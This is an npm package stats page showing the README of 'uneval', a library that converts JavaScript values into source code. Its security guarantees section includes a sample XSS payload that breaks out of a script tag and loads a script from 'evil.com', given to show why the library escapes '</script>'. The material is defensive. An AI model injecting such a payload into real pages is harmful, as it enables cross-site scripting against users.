npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

uneval

v0.4.0

Published

Convert a JS value to JS source code, like eval in reverse.

Readme

Features

And more!

Install

$ npm i uneval

Special thanks to Chakrit Wichian for donating the package name!

Usage

import assert from 'node:assert'
import uneval from 'uneval'

const object = { message: `hello world` }

const source = uneval(object)
console.log(source)
//=> {message:"hello world"}

const roundtrippedObject = (0, eval)(`(${source})`)
assert.deepEqual(roundtrippedObject, object)

const circularObject = {}
circularObject.self = circularObject

const circularSource = uneval(circularObject)
console.log(circularSource)
//=> (a=>a.self=a)({})

const roundtrippedCircularObject = (0, eval)(`(${circularSource})`)
assert.deepEqual(roundtrippedCircularObject, circularObject)

Customization

[!WARNING]

We cannot ensure our security guarantees when the custom option is used.

uneval accepts a custom callback for unevaling values.

import assert from 'node:assert'
import uneval from 'uneval'

class Person {
  constructor(name) {
    this.name = name
  }
}

const people = {
  tomer: new Person(`Tomer`),
  amanda: new Person(`Amanda`),
}

const source = uneval(people, {
  custom: (value, uneval) => {
    if (value instanceof Person) {
      return `new Person(${uneval(value.name)})`
    }
  },
})
console.log(source)
//=> {tomer:new Person("Tomer"),amanda:new Person("Amanda")}

const roundtrippedPeople = (0, eval)(`(${source})`)
assert.deepEqual(roundtrippedPeople, people)

Return the following types depending on the desired behavior:

  • string to provide custom source for the input value
  • null to omit the input value from the output (e.g. in arrays, objects, Sets, Maps). Omitting the root value throws an Error.
  • undefined (or don't return anything, which is equivalent) to use the default behavior for the input value

The callback can be used to uneval already supported values differently or to uneval unsupported values such as functions. It also receives a second uneval param, which is the same uneval function the options were passed to. You can use it to delegate back to uneval for sub-values.

[!NOTE]

custom is only called for each logical value. It is not called for sub-values that are incidentally unevaled as part of unevaling a value.

Some examples:

  • custom is called for each element of an Array because an Array is a container and its elements are its logical sub-values.
  • custom is called for each Date value, but not for a Date value's underlying numerical timestamp because the Date itself is the logical value while new Date(numericalTimestamp) is just one way a Date could be unevaled. Other ways are possible, which means the numerical timestamp in the source is just an implementation detail, not a logical sub-value.
  • custom is called for each ArrayBuffer value even when it's nested within a TypedArray or Node Buffer because the underlying ArrayBuffer is the logical sub-value backing these parent values. The fact that it can be shared between TypedArray and/or Node Buffer instances is proof of this.

This principle is a bit hand-wavy, but we use our best judgement. If you find a scenario where custom doesn't work the way you expect, then create an issue.

Priorities

We prioritize these metrics in the following order:

  1. Security (see our guarantees)
  2. Correctness (i.e. (0, eval)(`(${uneval(value)})`) roundtrips)
  3. Generated source size (human-readable output is a non-goal)
  4. Generated source runtime performance
  5. uneval runtime performance
  6. uneval bundle size

Note that we do still care about metrics lower on the list. We just care about other metrics more.

Security guarantees

The following are safe UNLESS custom is used:

  1. Running uneval on untrusted input.

  2. Running (0, eval)(`(${uneval(value)})`).

  3. Embedding uneval(value) in JS source code, including inside an HTML <script> tag.

    We always escape </script> to avoid the following XSS attack:

    const value = {
      untrustedInput: `</script><script src='https://evil.com/hacked.js'>`,
    }
    
    const html = `
      <script>
        var preloaded = ${uneval(value)};
      </script>
    `

    Without escaping, we'd end up with this (after formatting):

    <script>
      var preloaded = {untrustedInput:"
    </script>
    <!-- Oh no! We've loaded an evil script :( -->
    <script src="https://evil.com/hacked.js">
      "}
    </script>

    But with escaping we get:

    <script>
      var preloaded = {
        untrustedInput:
          "<\u002fscript><script src='https://evil.com/hacked.js'>",
      }
    </script>
  4. Running uneval on a pooled Buffer.

    unevaling the underlying ArrayBuffer of a pooled Buffer and using it in the output source would be more correct from a roundtripping perspective, but wouldn't be safe because the underlying ArrayBuffer may contain sensitive data from other Buffers.

    Instead, a Buffer is unevaled with a sliced ArrayBuffer containing only the data in its view if the ArrayBuffer's size matches Buffer.poolSize. This results in false-positives for Buffers containing ArrayBuffers that coincidentally have a size of Buffer.poolSize.

    To force an ArrayBuffer to be unevaled as-is, include it elsewhere in the input to signal that it's expected to be in the output. For example:

    const poolSizeArrayBuffer = new ArrayBuffer(Buffer.poolSize)
    const source = uneval([
      poolSizeArrayBuffer,
      Buffer.from(poolSizeArrayBuffer, 5, 3),
    ])
    console.log(source)
    //=> (a=>[a,Buffer.from(a,5,3)])(new ArrayBuffer(8192))

Comparison

The comparison table below is auto-generated by running the full test suite of roundtrip tests against each package.

Each roundtrip test unevals the input value, evals the returned source, and asserts the eval result is equal to the original input value.

We do not assert each package's source output because it can reasonably differ between packages while still roundtripping.

Emoji key:

| Emoji | Meaning | | :---: | ------------------------ | | ✅ | 100% of tests passing | | 🟢 | 75%–99% of tests passing | | 🟡 | 50%–74% of tests passing | | 🟠 | 25%–49% of tests passing | | 🔴 | 1%–24% of tests passing | | ❌ | 0% of tests passing |